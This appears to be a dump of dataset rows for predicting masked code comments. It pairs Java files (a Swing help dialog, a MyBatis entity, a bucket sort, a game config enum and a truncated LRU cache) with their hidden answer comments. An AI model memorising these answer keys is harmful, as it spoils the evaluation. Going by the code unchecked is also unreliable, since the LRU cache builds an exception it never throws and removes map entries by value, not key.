file_id
stringlengths
5
9
content
stringlengths
128
32.8k
repo
stringlengths
9
63
path
stringlengths
8
125
token_length
int64
36
8.14k
original_comment
stringlengths
5
1.83k
comment_type
stringclasses
2 values
detected_lang
stringclasses
1 value
masked_comment
stringlengths
111
32.8k
excluded
float64
0
1
43668_5
import javax.swing.*; import java.awt.*; import java.awt.event.*; /** * 显示帮助信息的对话框 */ public class HelpDialog extends JDialog implements ActionListener { // 确认按钮 private JButton okay; // 取消按钮 private JButton cancel; public HelpDialog(Frame parent,String title) { super(parent,title,true); //不可缺少true addText(); okay.addActionListener(this); cancel.addActionListener(this); pack(); show(); } // 显示面板 public void addText() { setLocation(300, 210); okay = new JButton("确认"); cancel = new JButton("取消"); Panel button = new Panel(); button.setLayout(new FlowLayout()); button.add(okay); button.add(cancel); setLayout(new GridLayout(5,1)); add(new Label("传教士野人过河问题是一个经典的人工智能问题,问题描述如下:")); add(new Label("有N个传教士和N个野人过河,只有一条能装下K个人(包括野人)的船,K<N,")); add(new Label("在河的任何一方或者船上,如果有野人和传教士在一起,必须要求传教士的人数多于或等于野人的人数。")); add(new Label("本程序使用A*搜索算法实现求解传教士野人过河问题,对任意N、K有解时给出其解决方案。")); add(button); } // 监听事件 public void actionPerformed(ActionEvent ae) { //隐藏对话框 dispose(); } };
DolphinHome/java-mc-astar
src/HelpDialog.java
397
// 监听事件
line_comment
zh-cn
import javax.swing.*; import java.awt.*; import java.awt.event.*; /** * 显示帮助信息的对话框 */ public class HelpDialog extends JDialog implements ActionListener { // 确认按钮 private JButton okay; // 取消按钮 private JButton cancel; public HelpDialog(Frame parent,String title) { super(parent,title,true); //不可缺少true addText(); okay.addActionListener(this); cancel.addActionListener(this); pack(); show(); } // 显示面板 public void addText() { setLocation(300, 210); okay = new JButton("确认"); cancel = new JButton("取消"); Panel button = new Panel(); button.setLayout(new FlowLayout()); button.add(okay); button.add(cancel); setLayout(new GridLayout(5,1)); add(new Label("传教士野人过河问题是一个经典的人工智能问题,问题描述如下:")); add(new Label("有N个传教士和N个野人过河,只有一条能装下K个人(包括野人)的船,K<N,")); add(new Label("在河的任何一方或者船上,如果有野人和传教士在一起,必须要求传教士的人数多于或等于野人的人数。")); add(new Label("本程序使用A*搜索算法实现求解传教士野人过河问题,对任意N、K有解时给出其解决方案。")); add(button); } // 监听 <SUF> public void actionPerformed(ActionEvent ae) { //隐藏对话框 dispose(); } };
0
61154_2
package com.ljm.boot.mybatisplus.entity; import com.baomidou.mybatisplus.annotation.TableField; import com.baomidou.mybatisplus.annotation.TableName; import lombok.Getter; import lombok.Setter; /** * @description * @author Dominick Li * @createTime 2023-02-07 **/ @Getter @Setter @TableName("sys_users") public class SysUsers extends BaseEntity { private static final long serialVersionUID = 1L; /** * 用户名 */ @TableField("username") private String username; /** * 密码 */ @TableField("password") private String password; /** * 年纪 */ @TableField("grade") private Integer grade; }
Dominick-Li/springboot-master
14_mybatis_plus/src/main/java/com/ljm/boot/mybatisplus/entity/SysUsers.java
181
/** * 密码 */
block_comment
zh-cn
package com.ljm.boot.mybatisplus.entity; import com.baomidou.mybatisplus.annotation.TableField; import com.baomidou.mybatisplus.annotation.TableName; import lombok.Getter; import lombok.Setter; /** * @description * @author Dominick Li * @createTime 2023-02-07 **/ @Getter @Setter @TableName("sys_users") public class SysUsers extends BaseEntity { private static final long serialVersionUID = 1L; /** * 用户名 */ @TableField("username") private String username; /** * 密码 <SUF>*/ @TableField("password") private String password; /** * 年纪 */ @TableField("grade") private Integer grade; }
1
23069_5
package datastructure.sort; import java.util.ArrayList; import java.util.List; /** * @author donald * @date 2022/08/12 */ public class BucketSort { private int bucketSize; public BucketSort(int bucketSize) { this.bucketSize = bucketSize; } // Time(avg): O(n+k), Time(worst): O(n^2), Space: O(n) public void sort(int[] arr) { if (arr == null || arr.length == 0) return; int max = arr[0], min = arr[0]; // 计算最大值和最小值 for (int num : arr) { if (num > max) max = num; if (num < min) min = num; } // 桶的数量 = 数组长度 / 桶大小 int bucketCount = arr.length / bucketSize; List<List<Integer>> buckets = new ArrayList<>(bucketCount); for (int i = 0; i < bucketCount; ++i) buckets.add(new ArrayList<>()); for (int num : arr) { // 计算放在哪个桶中 int idx = (int) ((num - min) / (max - min + 1.0) * bucketCount); buckets.get(idx).add(num); } int idx = 0; for (List<Integer> bucket : buckets) { insertionSort(bucket); // 桶内:插入排序 for (int num : bucket) { // 再放入结果中 arr[idx++] = num; } } } private void insertionSort(List<Integer> arr) { if (arr == null || arr.size() == 0) return; for (int i = 1; i < arr.size(); ++i) { int cur = arr.get(i); int j = i - 1; while (j >= 0 && arr.get(j) > cur) { // 先找一个合适的位置 arr.set(j + 1, arr.get(j)); --j; } // 找到合适的位置,放下 arr.set(j + 1, cur); } } }
DonaldY/LeetCode-Practice
src/main/java/datastructure/sort/BucketSort.java
532
// 桶内:插入排序
line_comment
zh-cn
package datastructure.sort; import java.util.ArrayList; import java.util.List; /** * @author donald * @date 2022/08/12 */ public class BucketSort { private int bucketSize; public BucketSort(int bucketSize) { this.bucketSize = bucketSize; } // Time(avg): O(n+k), Time(worst): O(n^2), Space: O(n) public void sort(int[] arr) { if (arr == null || arr.length == 0) return; int max = arr[0], min = arr[0]; // 计算最大值和最小值 for (int num : arr) { if (num > max) max = num; if (num < min) min = num; } // 桶的数量 = 数组长度 / 桶大小 int bucketCount = arr.length / bucketSize; List<List<Integer>> buckets = new ArrayList<>(bucketCount); for (int i = 0; i < bucketCount; ++i) buckets.add(new ArrayList<>()); for (int num : arr) { // 计算放在哪个桶中 int idx = (int) ((num - min) / (max - min + 1.0) * bucketCount); buckets.get(idx).add(num); } int idx = 0; for (List<Integer> bucket : buckets) { insertionSort(bucket); // 桶内 <SUF> for (int num : bucket) { // 再放入结果中 arr[idx++] = num; } } } private void insertionSort(List<Integer> arr) { if (arr == null || arr.size() == 0) return; for (int i = 1; i < arr.size(); ++i) { int cur = arr.get(i); int j = i - 1; while (j >= 0 && arr.get(j) > cur) { // 先找一个合适的位置 arr.set(j + 1, arr.get(j)); --j; } // 找到合适的位置,放下 arr.set(j + 1, cur); } } }
1
53422_8
package com.game.utils; public enum CommonConfig { /** * 第一次跳跃消耗体力 */ FIRST_JUMP_RESUM(1), /** * 第二次跳跃消耗体力 */ SECOND_JUMP_RESUM(2), /** * 跳跃冷确时间 */ JUMP_COOLDOWN(3), /** * 内力盾每秒消耗内力值比例(万分比) */ SHIELD_RESUM_PS(4), /** * 内力盾减免所受攻击伤害比例(万分比 */ SHIELD_REDUCTION(5), /** * 内力盾造成的攻击伤害的系数(所消耗内力值*本系数) */ SHIELD_ATTACK_FACTOR(6), /** * 人物真气获得上限 */ ZHENGQI_MAX(7), /** * 战场声望获得上限 */ BATTLE_FAME_MAX(8), /** * 顶级强化装备佩戴时将装备设为绑定(0不生效,1生效) */ EQUIP_TOPLEVEL_INTENSIFY_USEBIND(9), /** * 顶级镶嵌装备佩戴将装备设为绑定(0不生效,1生效) */ EQUIP_TOPLEVEL_INLAY_USEBIND(10), /** * 紫色装备佩戴时将装备设为绑定(0不生效,1生效) */ EQUIP_PURPLE_USEBIND(11), /** * 顶级强化装备卖给商店时弹出二次确认面板提示(0不生效,1生效) */ EQUIP_TOPLEVEL_INTENSIFY_SELLCONFIRM(12), /** * 顶级镶嵌装备卖给商店时弹出二次确认面板提示(0不生效,1生效) */ EQUIP_TOPLEVEL_INLAY_SELLCONFIRM(13), /** * 紫色装备卖给商店时弹出二次确认面板提示(0不生效,1生效) */ EQUIP_PURPLE_SELLCONFIRM(14), /** * 顶级强化装备丢弃时弹出二次确认面板提示(0不生效,1生效) */ EQUIP_TOPLEVEL_INTENSIFY_CHUCKCONFIRM(15), /** * 顶级镶嵌装备丢弃时弹出二次确认面板提示(0不生效,1生效) */ EQUIP_TOPLEVEL_INLAY_CHUCKCONFIRM(16), /** * 紫色装备丢弃时弹出二次确认面板提示(0不生效,1生效) */ EQUIP_PURPLE_CHUCKCONFIRM(17), /** * 背包面板上的商店按钮显示所需人物等级 */ BAG_BUTTON_SHOP_NEED_GRADE(18), /** * 背包面板上的仓库按钮显示所需人物等级 */ BAG_BUTTON_STORE_NEED_GRADE(19), /** * 背包面板上的随身摊位按钮显示所需人物等级 */ BAG_BUTTON_BOOTH_NEED_GRADE(20), /** * 背包面板上的获取元宝按钮点击后打开网址 */ BAG_RECHARGE_URL(21), /** * 小怪怪物尸体的消失时间,单位秒 */ DISAPPEAR_TIME_MONSTER_CORPSE(22), /** * 小怪掉出物品的消失时间,单位秒 */ DISAPPEAR_TIME_MONSTER_DROP(23), /** * BOSS尸体的消失时间,单位秒 */ DISAPPEAR_TIME_BOSS_CORPSE(24), /** * BOSS掉出物品的消失时间,单位秒 */ DISAPPEAR_TIME_BOSS_DROP(25), /** * 1RMB = 10元宝 元宝商城面板上显示的充值比率文字描述 */ RMB_EXCHANGE_RATE_DESC(26), /** * 背包面板上的获取元宝按钮点击后打开网址 */ SHOP_RECHARGE_URL(27), /** * 自动禁言检测的时间跨度(单位:秒) */ PROHIBIT_TALK_CHECK_STEP(28), /** * 自动禁言检测被加入黑名单的次数 */ PROHIBIT_TALK_ADD_BLACKLIST_COUNT(29), /** * 自动禁言的用户等级上限 */ PROHIBIT_TALK_ROLE_MAX_GRADE(30), /** * 自动禁言持续时间(单位:秒) */ PROHIBIT_TALK_TIME(31), /** * 免费原地复活所限人物等级设定为 */ FREE_RELIVE_MAX_GRADE(32), /** * 主界面主操作栏按钮,人物: */ MAIN_BUTTON_ROLE(33), /** * 主界面主操作栏按钮,背包: */ MAIN_BUTTON_BAG(34), /** * 主界面主操作栏按钮,技能 */ MAIN_BUTTON_SKILL(35), /** * 主界面主操作栏按钮,美人: */ MAIN_BUTTON_ESCRAVAS(36), /** * 主界面主操作栏按钮,任务: */ MAIN_BUTTON_TASK(37), /** * 主界面主操作栏按钮,队伍: */ MAIN_BUTTON_TEAM(38), /** * 主界面主操作栏按钮,好友: */ MAIN_BUTTON_FRIEND(39), /** * 主界面主操作栏按钮,帮会: */ MAIN_BUTTON_GROUP(40), /** * 主界面主操作栏按钮,设置: */ MAIN_BUTTON_SETTING(41), /** * 主界面主操作栏按钮,商城: */ MIAN_BUTTON_SHOP(42), /** * 主界面快捷操作栏按钮,打坐: */ MAIN_BUTTON_DAZHUO(43), /** * 主界面快捷操作栏按钮,骑乘: */ MAIN_BUTTON_MOUNT(44), /** * 主界面快捷操作栏按钮,设挂: */ MAIN_BUTTON_AUTO_SETTING(45), /** * 主界面快捷操作栏按钮,挂机: */ MAIN_BUTTON_AUTO(46), /** * 主界面雷达地图周边按钮,隐藏: */ RADAR_BUTTON_HIDDEN(47), /** * 主界面雷达地图周边按钮,音乐: */ RADAR_BUTTON_SOUND(48), /** * 主界面雷达地图周边按钮,成就: */ RADAR_BUTTON_ACHIEVE(49), /** * 主界面雷达地图周边按钮,排行榜: */ RADAR_BUTTON_RANKINGLIST(50), /** * 主界面雷达地图周边按钮,地图: */ RADAR_BUTTON_MAP(51), /** * 主界面雷达地图周边按钮,引导: */ RADAR_BUTTON_LEAD(52), /** * 主界面雷达地图周边按钮,商城: */ RADAR_BUTTON_SHOP(53), /** * 人物属性面板境界图片,境界: */ ROLEINFO_PANEL_JINGJIE(54), /** * 包裹默认开启的格子数 */ BAG_CELLS_DEFAULT(55), /** * 包裹最大开格数量 */ BAG_CELLS_MAX(56), /** * 包裹默认开启的格子数 */ STORE_CELLS_DEFAULT(57), /** * 包裹最大开格数量 */ STORE_CELLS_MAX(58), /** * 整理仓库和包裹的时间间隔(秒) */ BAG_STORE_CLEARUP_TIME_INTERVAL(59), /** * 语言区域 */ LANGUAGE(60), /** * 最大概率系数 */ BASE_PROB(61), /** * 最小跳跃时间(毫秒) */ JUMP_MINCD(62), // 点绛唇最大允许次数 DIANJIANGCHUN_MAXCOUNT(63), // 点绛唇最大免费改运次数 DIANJIANGCHUN_FREECHANGELUCK_MAXCOUNT(64), // 点绛唇改运元宝数 DIANJIANGCHUN_RMB_COUNT(65), // 点绛唇色子几率1 DIANJIANGCHUN_COF1(66), // 点绛唇色子几率2 DIANJIANGCHUN_COF2(67), // 点绛唇色子几率3 DIANJIANGCHUN_COF3(68), // 点绛唇色子几率4 DIANJIANGCHUN_COF4(69), // 点绛唇色子几率5 DIANJIANGCHUN_COF5(70), // 点绛唇色子几率6 DIANJIANGCHUN_COF6(71), // 军衔系统可用技能链表 RANK_SKILL_LIST(72), //TODO 系统参数缺少 /** * 每日真气丹获取真气上限 */ DAY_ZHENQIDAN_ZQTOP(111), /** * 每日修为丹获取经验上限 */ DAY_XIUWEIDAN_EXPTOP(112), /** * 攻城战 弩箭 */ SIEGE_CRISSBOW (113), /** * 攻城战 投石车 */ SIEGE_CATAPULTS (114), /** * 攻城战 发射火炮需要铜币 */ SIEGE_MONEY (115), /** * 王帮成员经验加成系数 */ KINGCITY_EXPCOF(116), /** * 王帮成员打坐速度计算加成 */ KINGCITY_DAZUOSPEEDADDCOF(117), /** * 王帮成员组队状态,杀怪血量百分比<20%,修正系数 */ KINGCITY_KILLMONSTER20COF(118), /** * 王帮成员组队状态,20%<=杀怪血量<40%,修正系数 */ KINGCITY_KILLMONSTER40COF(119), /** * 王帮成员组队状态,40%<=杀怪血量<70%,修正系数 */ KINGCITY_KILLMONSTER70COF(120), /** * 王帮成员组队状态,70%<=杀怪血量,修正系数 */ KINGCITY_KILLMONSTER100COF(121), /** * 获得王帮成员BUFF限制时间 */ KINGCITY_GETBUFFLIMITTIME(122), /**王城刷怪坐标 * */ SIEGE_BRUSH_XY (123), /**王城刷怪ID和数量 * */ SIEGE_MON (124), /**王城刷道具坐标 * */ SIEGE_ITEM_XY (126), /**王城刷道具ID * */ SIEGE_ITEM (127), /**领地争夺战,地图列表 * */ GUILD_FLAG_MAP (128), /**领地争夺战,插旗需要的帮贡金币 * */ GUILD_FLAG_GOLD (129), /**领地争夺战,旗帜怪物ID * */ GUILD_FLAG_MONID (130), // 香唇获得真气值 DIANJIANGCHUN_CHUN(131), // 香蕉获得真气值 DIANJIANGCHUN_XIANGJIAO(132), // 葡萄获得真气值 DIANJIANGCHUN_PUTOU(133), // 橘子获得真气值 DIANJIANGCHUN_JUZI(134), // 芒果获得真气值 DIANJIANGCHUN_MANGGUO(135), // 黄瓜获得真气值 DIANJIANGCHUN_HUANGGUA(136), /**签到工资面板,隔多少时间可摇奖,分钟 * */ ERNIE_INTERVAL(137), //打坐双倍时间 DOUBLEXP_DAZUO (139), //打怪双倍时间 DOUBLEXP_MON (140), //熔炼花费元宝 METING_GOLD (141), //熔炼花费铜币 METING_MONEY (142), //轮盘外圈物品落入倾向概率增幅参数:1 CHESTBOX_ADDDROPINCOF (143), //默认轮盘外圈落入位置概率参数:1 CHESTBOX_DEFDROPINCOF (144), //倾向格子数:3(最大为12) CHESTBOX_DROPGRIDNUM (145), //开宝箱需要元宝 CHESTBOX_OPENCHESTBOXNEEDYUANBAO (146), //开宝箱需要物品 CHESTBOX_OPENCHESTBOXNEEDITEM (147), // /** // * 触发自动禁言最高等级 // */ // AUTOPROHIBIT_LEVEL(141), // /** // * 触发自动禁言聊天内容长度 // */ // AUTOPROHIBIT_LENGTH(142), // /** // * 自动禁言记录时长 // */ // AUTOPROHIBIT_TIME(143), // /** // * 禁言时长 // */ // AUTOPROHIBIT_PROHIBITTIME(144), // /** // * 自动禁言相似重复次数 // */ // AUTOPROHIBIT_COUNT(145), // /** // * 自动禁言相似度 // */ // AUTOPROHIBIT_SEMBLANCE(146), /** * 攻城战 超级弩箭 */ SIEGE_SUPRE_CRISSBOW (169), /** * 攻城战 超级投石车 */ SIEGE_SUPRE_CATAPULTS (170), /** * 攻城战 超级车需要铜币 */ SIEGE_SUPRE_MONEY (171), /** * 最大跳跃速度 */ JUMP_MAX_SPEED (172), /** * 年兽击杀前三名的奖励 */ SPRING_MONSTER_PRIZE_1 (173), SPRING_MONSTER_PRIZE_2 (174), SPRING_MONSTER_PRIZE_3 (175), /**婚戒价格 * */ WEDDING_RING (176), /**申请婚宴价格 * */ WEDDING_PRICE (177), /**参加婚宴红包数量的下限 * */ WEDDING_LEAST_RED (178), /**婚宴刷新坐标 * */ WEDDING_XY (179), /**并蒂连枝技能补充数值百分比 * */ WEDDING_BDLZ (180), /**2级密码排除平台列表 * */ PROTECT (182), /** * 枚举最大值 */ MAX_VALUE(999999); private int value; public int getValue() { return value; } private CommonConfig(int value) { this.value = value; } }
DongHuaLu/QMR
QMRServer/src/com/game/utils/CommonConfig.java
4,397
/** * 顶级强化装备佩戴时将装备设为绑定(0不生效,1生效) */
block_comment
zh-cn
package com.game.utils; public enum CommonConfig { /** * 第一次跳跃消耗体力 */ FIRST_JUMP_RESUM(1), /** * 第二次跳跃消耗体力 */ SECOND_JUMP_RESUM(2), /** * 跳跃冷确时间 */ JUMP_COOLDOWN(3), /** * 内力盾每秒消耗内力值比例(万分比) */ SHIELD_RESUM_PS(4), /** * 内力盾减免所受攻击伤害比例(万分比 */ SHIELD_REDUCTION(5), /** * 内力盾造成的攻击伤害的系数(所消耗内力值*本系数) */ SHIELD_ATTACK_FACTOR(6), /** * 人物真气获得上限 */ ZHENGQI_MAX(7), /** * 战场声望获得上限 */ BATTLE_FAME_MAX(8), /** * 顶级强 <SUF>*/ EQUIP_TOPLEVEL_INTENSIFY_USEBIND(9), /** * 顶级镶嵌装备佩戴将装备设为绑定(0不生效,1生效) */ EQUIP_TOPLEVEL_INLAY_USEBIND(10), /** * 紫色装备佩戴时将装备设为绑定(0不生效,1生效) */ EQUIP_PURPLE_USEBIND(11), /** * 顶级强化装备卖给商店时弹出二次确认面板提示(0不生效,1生效) */ EQUIP_TOPLEVEL_INTENSIFY_SELLCONFIRM(12), /** * 顶级镶嵌装备卖给商店时弹出二次确认面板提示(0不生效,1生效) */ EQUIP_TOPLEVEL_INLAY_SELLCONFIRM(13), /** * 紫色装备卖给商店时弹出二次确认面板提示(0不生效,1生效) */ EQUIP_PURPLE_SELLCONFIRM(14), /** * 顶级强化装备丢弃时弹出二次确认面板提示(0不生效,1生效) */ EQUIP_TOPLEVEL_INTENSIFY_CHUCKCONFIRM(15), /** * 顶级镶嵌装备丢弃时弹出二次确认面板提示(0不生效,1生效) */ EQUIP_TOPLEVEL_INLAY_CHUCKCONFIRM(16), /** * 紫色装备丢弃时弹出二次确认面板提示(0不生效,1生效) */ EQUIP_PURPLE_CHUCKCONFIRM(17), /** * 背包面板上的商店按钮显示所需人物等级 */ BAG_BUTTON_SHOP_NEED_GRADE(18), /** * 背包面板上的仓库按钮显示所需人物等级 */ BAG_BUTTON_STORE_NEED_GRADE(19), /** * 背包面板上的随身摊位按钮显示所需人物等级 */ BAG_BUTTON_BOOTH_NEED_GRADE(20), /** * 背包面板上的获取元宝按钮点击后打开网址 */ BAG_RECHARGE_URL(21), /** * 小怪怪物尸体的消失时间,单位秒 */ DISAPPEAR_TIME_MONSTER_CORPSE(22), /** * 小怪掉出物品的消失时间,单位秒 */ DISAPPEAR_TIME_MONSTER_DROP(23), /** * BOSS尸体的消失时间,单位秒 */ DISAPPEAR_TIME_BOSS_CORPSE(24), /** * BOSS掉出物品的消失时间,单位秒 */ DISAPPEAR_TIME_BOSS_DROP(25), /** * 1RMB = 10元宝 元宝商城面板上显示的充值比率文字描述 */ RMB_EXCHANGE_RATE_DESC(26), /** * 背包面板上的获取元宝按钮点击后打开网址 */ SHOP_RECHARGE_URL(27), /** * 自动禁言检测的时间跨度(单位:秒) */ PROHIBIT_TALK_CHECK_STEP(28), /** * 自动禁言检测被加入黑名单的次数 */ PROHIBIT_TALK_ADD_BLACKLIST_COUNT(29), /** * 自动禁言的用户等级上限 */ PROHIBIT_TALK_ROLE_MAX_GRADE(30), /** * 自动禁言持续时间(单位:秒) */ PROHIBIT_TALK_TIME(31), /** * 免费原地复活所限人物等级设定为 */ FREE_RELIVE_MAX_GRADE(32), /** * 主界面主操作栏按钮,人物: */ MAIN_BUTTON_ROLE(33), /** * 主界面主操作栏按钮,背包: */ MAIN_BUTTON_BAG(34), /** * 主界面主操作栏按钮,技能 */ MAIN_BUTTON_SKILL(35), /** * 主界面主操作栏按钮,美人: */ MAIN_BUTTON_ESCRAVAS(36), /** * 主界面主操作栏按钮,任务: */ MAIN_BUTTON_TASK(37), /** * 主界面主操作栏按钮,队伍: */ MAIN_BUTTON_TEAM(38), /** * 主界面主操作栏按钮,好友: */ MAIN_BUTTON_FRIEND(39), /** * 主界面主操作栏按钮,帮会: */ MAIN_BUTTON_GROUP(40), /** * 主界面主操作栏按钮,设置: */ MAIN_BUTTON_SETTING(41), /** * 主界面主操作栏按钮,商城: */ MIAN_BUTTON_SHOP(42), /** * 主界面快捷操作栏按钮,打坐: */ MAIN_BUTTON_DAZHUO(43), /** * 主界面快捷操作栏按钮,骑乘: */ MAIN_BUTTON_MOUNT(44), /** * 主界面快捷操作栏按钮,设挂: */ MAIN_BUTTON_AUTO_SETTING(45), /** * 主界面快捷操作栏按钮,挂机: */ MAIN_BUTTON_AUTO(46), /** * 主界面雷达地图周边按钮,隐藏: */ RADAR_BUTTON_HIDDEN(47), /** * 主界面雷达地图周边按钮,音乐: */ RADAR_BUTTON_SOUND(48), /** * 主界面雷达地图周边按钮,成就: */ RADAR_BUTTON_ACHIEVE(49), /** * 主界面雷达地图周边按钮,排行榜: */ RADAR_BUTTON_RANKINGLIST(50), /** * 主界面雷达地图周边按钮,地图: */ RADAR_BUTTON_MAP(51), /** * 主界面雷达地图周边按钮,引导: */ RADAR_BUTTON_LEAD(52), /** * 主界面雷达地图周边按钮,商城: */ RADAR_BUTTON_SHOP(53), /** * 人物属性面板境界图片,境界: */ ROLEINFO_PANEL_JINGJIE(54), /** * 包裹默认开启的格子数 */ BAG_CELLS_DEFAULT(55), /** * 包裹最大开格数量 */ BAG_CELLS_MAX(56), /** * 包裹默认开启的格子数 */ STORE_CELLS_DEFAULT(57), /** * 包裹最大开格数量 */ STORE_CELLS_MAX(58), /** * 整理仓库和包裹的时间间隔(秒) */ BAG_STORE_CLEARUP_TIME_INTERVAL(59), /** * 语言区域 */ LANGUAGE(60), /** * 最大概率系数 */ BASE_PROB(61), /** * 最小跳跃时间(毫秒) */ JUMP_MINCD(62), // 点绛唇最大允许次数 DIANJIANGCHUN_MAXCOUNT(63), // 点绛唇最大免费改运次数 DIANJIANGCHUN_FREECHANGELUCK_MAXCOUNT(64), // 点绛唇改运元宝数 DIANJIANGCHUN_RMB_COUNT(65), // 点绛唇色子几率1 DIANJIANGCHUN_COF1(66), // 点绛唇色子几率2 DIANJIANGCHUN_COF2(67), // 点绛唇色子几率3 DIANJIANGCHUN_COF3(68), // 点绛唇色子几率4 DIANJIANGCHUN_COF4(69), // 点绛唇色子几率5 DIANJIANGCHUN_COF5(70), // 点绛唇色子几率6 DIANJIANGCHUN_COF6(71), // 军衔系统可用技能链表 RANK_SKILL_LIST(72), //TODO 系统参数缺少 /** * 每日真气丹获取真气上限 */ DAY_ZHENQIDAN_ZQTOP(111), /** * 每日修为丹获取经验上限 */ DAY_XIUWEIDAN_EXPTOP(112), /** * 攻城战 弩箭 */ SIEGE_CRISSBOW (113), /** * 攻城战 投石车 */ SIEGE_CATAPULTS (114), /** * 攻城战 发射火炮需要铜币 */ SIEGE_MONEY (115), /** * 王帮成员经验加成系数 */ KINGCITY_EXPCOF(116), /** * 王帮成员打坐速度计算加成 */ KINGCITY_DAZUOSPEEDADDCOF(117), /** * 王帮成员组队状态,杀怪血量百分比<20%,修正系数 */ KINGCITY_KILLMONSTER20COF(118), /** * 王帮成员组队状态,20%<=杀怪血量<40%,修正系数 */ KINGCITY_KILLMONSTER40COF(119), /** * 王帮成员组队状态,40%<=杀怪血量<70%,修正系数 */ KINGCITY_KILLMONSTER70COF(120), /** * 王帮成员组队状态,70%<=杀怪血量,修正系数 */ KINGCITY_KILLMONSTER100COF(121), /** * 获得王帮成员BUFF限制时间 */ KINGCITY_GETBUFFLIMITTIME(122), /**王城刷怪坐标 * */ SIEGE_BRUSH_XY (123), /**王城刷怪ID和数量 * */ SIEGE_MON (124), /**王城刷道具坐标 * */ SIEGE_ITEM_XY (126), /**王城刷道具ID * */ SIEGE_ITEM (127), /**领地争夺战,地图列表 * */ GUILD_FLAG_MAP (128), /**领地争夺战,插旗需要的帮贡金币 * */ GUILD_FLAG_GOLD (129), /**领地争夺战,旗帜怪物ID * */ GUILD_FLAG_MONID (130), // 香唇获得真气值 DIANJIANGCHUN_CHUN(131), // 香蕉获得真气值 DIANJIANGCHUN_XIANGJIAO(132), // 葡萄获得真气值 DIANJIANGCHUN_PUTOU(133), // 橘子获得真气值 DIANJIANGCHUN_JUZI(134), // 芒果获得真气值 DIANJIANGCHUN_MANGGUO(135), // 黄瓜获得真气值 DIANJIANGCHUN_HUANGGUA(136), /**签到工资面板,隔多少时间可摇奖,分钟 * */ ERNIE_INTERVAL(137), //打坐双倍时间 DOUBLEXP_DAZUO (139), //打怪双倍时间 DOUBLEXP_MON (140), //熔炼花费元宝 METING_GOLD (141), //熔炼花费铜币 METING_MONEY (142), //轮盘外圈物品落入倾向概率增幅参数:1 CHESTBOX_ADDDROPINCOF (143), //默认轮盘外圈落入位置概率参数:1 CHESTBOX_DEFDROPINCOF (144), //倾向格子数:3(最大为12) CHESTBOX_DROPGRIDNUM (145), //开宝箱需要元宝 CHESTBOX_OPENCHESTBOXNEEDYUANBAO (146), //开宝箱需要物品 CHESTBOX_OPENCHESTBOXNEEDITEM (147), // /** // * 触发自动禁言最高等级 // */ // AUTOPROHIBIT_LEVEL(141), // /** // * 触发自动禁言聊天内容长度 // */ // AUTOPROHIBIT_LENGTH(142), // /** // * 自动禁言记录时长 // */ // AUTOPROHIBIT_TIME(143), // /** // * 禁言时长 // */ // AUTOPROHIBIT_PROHIBITTIME(144), // /** // * 自动禁言相似重复次数 // */ // AUTOPROHIBIT_COUNT(145), // /** // * 自动禁言相似度 // */ // AUTOPROHIBIT_SEMBLANCE(146), /** * 攻城战 超级弩箭 */ SIEGE_SUPRE_CRISSBOW (169), /** * 攻城战 超级投石车 */ SIEGE_SUPRE_CATAPULTS (170), /** * 攻城战 超级车需要铜币 */ SIEGE_SUPRE_MONEY (171), /** * 最大跳跃速度 */ JUMP_MAX_SPEED (172), /** * 年兽击杀前三名的奖励 */ SPRING_MONSTER_PRIZE_1 (173), SPRING_MONSTER_PRIZE_2 (174), SPRING_MONSTER_PRIZE_3 (175), /**婚戒价格 * */ WEDDING_RING (176), /**申请婚宴价格 * */ WEDDING_PRICE (177), /**参加婚宴红包数量的下限 * */ WEDDING_LEAST_RED (178), /**婚宴刷新坐标 * */ WEDDING_XY (179), /**并蒂连枝技能补充数值百分比 * */ WEDDING_BDLZ (180), /**2级密码排除平台列表 * */ PROTECT (182), /** * 枚举最大值 */ MAX_VALUE(999999); private int value; public int getValue() { return value; } private CommonConfig(int value) { this.value = value; } }
1
38345_5
import java.util.HashMap; /** * LRU算法 最近最常使用算法,内存加载 */ public class LRU { public static class Node<V> { public Node<V> pre; public Node<V> next; public V value; public Node(V value) { this.value = value; } } public static class MyCache<K, V> { //map可保证为(1)的查询对应关系 private HashMap<K, Node<V>> keyNodeMap; private NodeDoubleLinkedList<V> nodeList; private int capacity; public MyCache(int capacity) { if (capacity < 1) { new RuntimeException("should be more than 1 "); } this.capacity = capacity; this.keyNodeMap = new HashMap<>(); this.nodeList = new NodeDoubleLinkedList<>(); } public V get(K key) { if (this.keyNodeMap.containsKey(key)) { Node<V> res = this.keyNodeMap.get(key); this.nodeList.moveNodeToTail(res); return res.value; } return null; } public void set(K key, V value) { if (keyNodeMap.containsKey(key)) { Node<V> res = this.keyNodeMap.get(key); res.value = value; this.nodeList.moveNodeToTail(res); } else { Node<V> res = new Node<>(value); this.nodeList.addNode(res); this.keyNodeMap.put(key, res); //大于指定容量移除掉头部,为最不经常使用的节点,同时移除掉map集合中的元素 if (this.keyNodeMap.size() == capacity + 1) { Node<V> removeNode = this.nodeList.removeHead(); keyNodeMap.remove(removeNode.value); } } } } /** * 双向链表 ,有头尾指针,头指针为最不经常使用的节点,尾指针为刚使用完的节点 * * @param <V> */ public static class NodeDoubleLinkedList<V> { private Node<V> head; private Node<V> tail; public NodeDoubleLinkedList() { this.head = null; this.tail = null; } public void addNode(Node<V> newNode) { if (newNode == null) { return; } if (this.head == null) { this.head = newNode; this.tail = newNode; } else { //双向链表 this.tail.next = newNode; newNode.pre = this.tail; this.tail = newNode; } } public void moveNodeToTail(Node<V> node) { if (this.tail == null) { return; } //先断开之前的位置 if (this.head == node) { head = node.next; this.head.pre = null; } else { node.pre.next = node.next; node.next.pre = node.pre; } //移动到最后的位置 node.pre = this.tail; node.next = null; this.tail.next = node; this.tail = node; } public Node<V> removeHead() { if (head == null) { return null; } Node removeNode = this.head; if (this.head == this.tail) { this.head = null; this.tail = null; } else { this.head = removeNode.next; this.head.pre = null; removeNode.next = null; } return removeNode; } } }
Dongyang666/leetcode
src/LRU.java
967
//先断开之前的位置
line_comment
zh-cn
import java.util.HashMap; /** * LRU算法 最近最常使用算法,内存加载 */ public class LRU { public static class Node<V> { public Node<V> pre; public Node<V> next; public V value; public Node(V value) { this.value = value; } } public static class MyCache<K, V> { //map可保证为(1)的查询对应关系 private HashMap<K, Node<V>> keyNodeMap; private NodeDoubleLinkedList<V> nodeList; private int capacity; public MyCache(int capacity) { if (capacity < 1) { new RuntimeException("should be more than 1 "); } this.capacity = capacity; this.keyNodeMap = new HashMap<>(); this.nodeList = new NodeDoubleLinkedList<>(); } public V get(K key) { if (this.keyNodeMap.containsKey(key)) { Node<V> res = this.keyNodeMap.get(key); this.nodeList.moveNodeToTail(res); return res.value; } return null; } 